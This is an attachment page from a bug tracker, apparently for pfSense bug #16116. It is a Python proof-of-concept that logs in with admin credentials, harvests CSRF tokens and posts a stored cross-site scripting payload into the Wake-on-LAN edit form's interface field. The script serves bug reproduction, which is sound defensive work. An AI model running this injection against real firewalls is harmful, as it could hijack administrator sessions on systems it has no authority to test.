Project

General

Profile

Bug #16116 ยป poc-xss-wol-16116.py

Jim Pingle, 04/01/2025 07:24 PM

 
1
#!/usr/bin/env python3
2
import requests
3
requests.packages.urllib3.disable_warnings()
4
from bs4 import BeautifulSoup
5

    
6
baseurl  = 'https://198.51.100.34'
7

    
8
target = baseurl + '/services_wol_edit.php'
9

    
10
login_data = {
11
    'login'        : 'Login',
12
    'usernamefld'  : 'admin',
13
    'passwordfld'  : 'pfsense2',
14
}
15

    
16
target_data = {
17
	"interface": "wan\"><script>alert('XSS')</script>",
18
	"mac": "aa:bb:cc:dd:ee:00",
19
	"descr": "XSS Test",
20
	"save": "Save"
21
}
22

    
23
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}
24

    
25
with requests.Session() as s:
26
    # Fetch CSRF token from login page
27
    r = s.get(baseurl, headers=headers, verify=False)
28

    
29
    soup = BeautifulSoup(r.text, 'lxml')
30
    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
31

    
32
    # Login
33
    r = s.post(baseurl, data=login_data, headers=headers)
34

    
35
    # Find the next CSRF token
36
    soup = BeautifulSoup(r.text, 'lxml')
37
    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
38

    
39
    # Submit actual request
40
    r = s.post(target, data=target_data, headers=headers)
41

    
42
    # Dump input errors from response
43
    soup = BeautifulSoup(r.text, 'lxml')
44
    input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
45
    if (input_errors):
46
        print("Input errors:\n")
47
        for ie in input_errors:
48
            print("* " + ie + "\n")
49

    
50
print('Done')
    (1-1/1)